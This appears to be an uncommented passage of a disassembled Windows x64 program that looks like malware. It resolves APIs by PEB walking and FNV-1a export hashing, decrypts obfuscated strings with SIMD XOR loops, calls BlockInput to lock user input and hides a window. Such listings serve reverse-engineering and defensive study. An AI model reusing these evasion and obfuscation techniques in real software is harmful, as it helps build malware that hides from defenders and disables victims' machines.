lea rdx, [rdx + 1]
test cl, cl
jne 0x14000d5e0
cmp r8d, 0x2f696a41
je 0x14000d610
test r9d, r9d
mov rdx, qword [rsp + 0x38]
jne 0x14000d5c0
mov rax, qword [rax]
jmp 0x14000d590
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x2318]
call rdx
movups xmm0, xmmword [0x1400928e8]
movups xmmword [rbp + 0x1950], xmm0
movups xmm1, xmmword [0x1400928f8]
movups xmmword [rbp + 0x1960], xmm1
movsd xmm0, qword [0x140092908]
movsd qword [rbp + 0x1970], xmm0
movzx eax, word [0x140092910]
mov word [rbp + 0x1978], ax
movzx eax, byte [0x140092912]
mov byte [rbp + 0x197a], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000d7a3
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x1954]
mov edx, dword [rbp + 0x100]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000d6b0
cmp r8d, 0x2b
jge 0x14000d7e5
movsxd rax, r8d
lea r9, [rbp + 0x1950]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x14000d7b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x14000d87b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000d87b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x69156490
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000d871
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000d850
cmp r8d, 0x8e009c03
je 0x14000d880
test r9d, r9d
mov rdx, qword [rsp + 0x38]
jne 0x14000d830
mov rax, qword [rax]
jmp 0x14000d800
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1950]
call rdx
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
xor edx, edx
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [str.M_HWVWS_am_dj_h_2_____]
movups xmmword [rbp + 0x338], xmm0
movsd xmm0, qword [0x140092b98]
movsd qword [rbp + 0x348], xmm0
mov eax, dword [0x140092ba0]
mov dword [rbp + 0x350], eax
movzx eax, byte [0x140092ba4]
mov byte [rbp + 0x354], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000da23
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x33c]
mov edx, dword [rbp + 0x100]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000d930
cmp r8d, 0x1d
jge 0x14000da65
movsxd rax, r8d
lea r9, [rbp + 0x338]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14000da30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x14000dafb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000dafb
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x3deeeb37
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000daf1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000dad0
cmp r8d, 0x6b9ac0b6
je 0x14000db00
test r9d, r9d
mov rcx, qword [rsp + 0x38]
jne 0x14000dab0
mov rax, qword [rax]
jmp 0x14000da80
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x338]
call rdx
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2638], xmm0
mov qword [rbp + 0x2648], rax
mov eax, dword [0x140092f60]
mov dword [rbp + 0x20], eax
movzx ecx, word [0x140092f64]
mov word [rbp + 0x24], cx
movzx eax, byte [0x140092f66]
mov byte [rbp + 0x20], reloc.WLDAP32.dll_Ordinal_50
xor byte [rbp + 0x21], 0x3a
xor byte [rbp + 0x22], 0x3b
xor byte [rbp + 0x23], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x24], cl
xor byte [rbp + 0x25], 0x3e
xor al, 0x3f
mov byte [rbp + 0x26], al
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xb78]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2638]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2710], xmm0
mov qword [rbp + 0x2720], rax
mov eax, dword [0x140092798]
mov dword [rbp + 0x28], eax
movzx ecx, word [0x14009279c]
mov word [rbp + 0x2c], cx
movzx eax, byte [0x14009279e]
mov byte [rbp + 0x28], gethostname
xor byte [rbp + 0x29], 0x3a
xor byte [rbp + 0x2a], 0x3b
xor byte [rbp + 0x2b], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x2c], cl
xor byte [rbp + 0x2d], 0x3e
xor al, 0x3f
mov byte [rbp + 0x2e], al
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xb98]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2710]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2620], xmm0
mov qword [rbp + 0x2630], rax
mov eax, dword [0x140092878]
mov dword [rbp + 0x30], eax
movzx ecx, word [0x14009287c]
mov word [rbp + 0x34], cx
movzx eax, byte [0x14009287e]
mov byte [rbp + 0x30], gethostname
xor byte [rbp + 0x31], 0x3a
xor byte [rbp + 0x32], 0x3b
xor byte [rbp + 0x33], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x34], cl
xor byte [rbp + 0x35], 0x3e
xor al, 0x3f
mov byte [rbp + 0x36], al
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0xbb8]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2620]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2608], xmm0
mov qword [rbp + 0x2618], rax
mov eax, dword [0x140092b00]
mov dword [rbp + 0x38], eax
movzx ecx, word [0x140092b04]
mov word [rbp + 0x3c], cx
movzx eax, byte [0x140092b06]
mov byte [rbp + 0x38], 0x34
xor byte [rbp + 0x39], 0x3a
xor byte [rbp + 0x3a], 0x3b
xor byte [rbp + 0x3b], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x3c], cl
xor byte [rbp + 0x3d], 0x3e
xor al, 0x3f
mov byte [rbp + 0x3e], al
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0xbd8]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2608]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x25f0], xmm0
mov qword [rbp + 0x2600], rax
mov eax, dword [0x1400927a0]
mov dword [rbp + 0x40], eax
movzx ecx, word [0x1400927a4]
mov word [rbp + 0x44], cx
movzx eax, byte [0x1400927a6]
mov byte [rbp + 0x40], 0x35
xor byte [rbp + 0x41], 0x3a
xor byte [rbp + 0x42], 0x3b
xor byte [rbp + 0x43], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x44], cl
xor byte [rbp + 0x45], 0x3e
xor al, 0x3f
mov byte [rbp + 0x46], al
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xbf8]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x25f0]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x25d8], xmm0
mov qword [rbp + 0x25e8], rax
mov eax, dword [0x140092880]
mov dword [rbp + 0x48], eax
movzx ecx, word [0x140092884]
mov word [rbp + 0x4c], cx
movzx eax, byte [0x140092886]
mov byte [rbp + 0x48], gethostname
xor byte [rbp + 0x49], 0x3a
xor byte [rbp + 0x4a], 0x3b
xor byte [rbp + 0x4b], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x4c], cl
xor byte [rbp + 0x4d], 0x3e
xor al, 0x3f
mov byte [rbp + 0x4e], al
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xc18]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x25d8]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2530], xmm0
mov qword [rbp + 0x2540], rax
mov eax, dword [0x140092b08]
mov dword [rbp + 0x50], eax
movzx ecx, word [0x140092b0c]
mov word [rbp + 0x54], cx
movzx eax, byte [0x140092b0e]
mov byte [rbp + 0x50], Ordinal_50
xor byte [rbp + 0x51], 0x3a
xor byte [rbp + 0x52], 0x3b
xor byte [rbp + 0x53], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x54], cl
xor byte [rbp + 0x55], 0x3e
xor al, 0x3f
mov byte [rbp + 0x56], al
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0xc38]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2530]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3150]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140092378]
movups xmmword [rbp + 0x1b90], xmm0
movups xmm1, xmmword [0x140092388]
movups xmmword [rbp + 0x1ba0], xmm1
movsd xmm0, qword [0x140092398]
movsd qword [rbp + 0x1bb0], xmm0
mov eax, dword [0x1400923a0]
mov dword [rbp + 0x1bb8], eax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000dfc3
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x1b94]
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000ded0
cmp r8d, 0x2c
jge 0x14000e005
movsxd rax, r8d
lea r9, [rbp + 0x1b90]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x14000dfd0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
lea rdx, [rbp + 0x1b90]
lea rcx, [rbp + 0x3150]
call fcn.14001ab20
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3260]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140092520]
movups xmmword [rbp + 0x1980], xmm0
movups xmm1, xmmword [0x140092530]
movups xmmword [rbp + 0x1990], xmm1
movsd xmm0, qword [0x140092540]
movsd qword [rbp + 0x19a0], xmm0
movzx eax, word [0x140092548]
mov word [rbp + 0x19a8], ax
movzx eax, byte [0x14009254a]
mov byte [rbp + 0x19aa], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000e1a3
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x1984]
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000e0b0
cmp r8d, 0x2b
jge 0x14000e1e5
movsxd rax, r8d
lea r9, [rbp + 0x1980]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x14000e1b0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
lea rdx, [rbp + 0x1980]
lea rcx, [rbp + 0x3260]
call fcn.14001ab20
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3370]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140092d38]
movups xmmword [rbp + 0x1368], xmm0
movups xmm1, xmmword [0x140092d48]
movups xmmword [rbp + 0x1378], xmm1
movsd xmm0, qword [0x140092d58]
movsd qword [rbp + 0x1388], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000e360
xor edx, edx
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x136c]
mov r8d, dword [rbp + 0x100]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x14000e273
jmp 0x14000e3a5
lea r9, [rbp + 0x1368]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x14000e370
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
lea rdx, [rbp + 0x1368]
lea rcx, [rbp + 0x3370]
call fcn.14001ab20
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3480]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140092670]
movups xmmword [rbp + 0x1228], xmm0
movups xmm1, xmmword [0x140092680]
movups xmmword [rbp + 0x1238], xmm1
mov eax, dword [0x140092690]
mov dword [rbp + 0x1248], eax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000e524
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x122c]
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000e431
cmp r8d, 0x24
jge 0x14000e575
movsxd rax, r8d
lea r9, [rbp + 0x1228]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14000e540
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
lea rdx, [rbp + 0x1228]
lea rcx, [rbp + 0x3480]
call fcn.14001ab20
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3590]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140092318]
movups xmmword [rbp + 0x1188], xmm0
movups xmm1, xmmword [0x140092328]
movups xmmword [rbp + 0x1198], xmm1
mov eax, dword [0x140092338]
mov dword [rbp + 0x11a8], eax
movzx eax, byte [0x14009233c]
mov byte [rbp + 0x11ac], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000e703
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x118c]
mov edx, dword [rbp + 0x100]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000e610
cmp r8d, 0x25
jge 0x14000e745
movsxd rax, r8d
lea r9, [rbp + 0x1188]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14000e710
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0x3590]
call fcn.14001ab20
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x36a0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140092808]
movups xmmword [rbp + 0x10c0], xmm0
movups xmm1, xmmword [0x140092818]
movups xmmword [rbp + 0x10d0], xmm1
movzx eax, word [0x140092828]
mov word [rbp + 0x10e0], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000e8d3
lea r9, [rbp - 0x44]
xor r8d, r8d
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400135a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x14001366b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14001366b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8b0724e1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140013661
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140013640
cmp r8d, 0x5509bc0
je 0x140013670
test r9d, r9d
mov rcx, qword [rsp + 0x38]
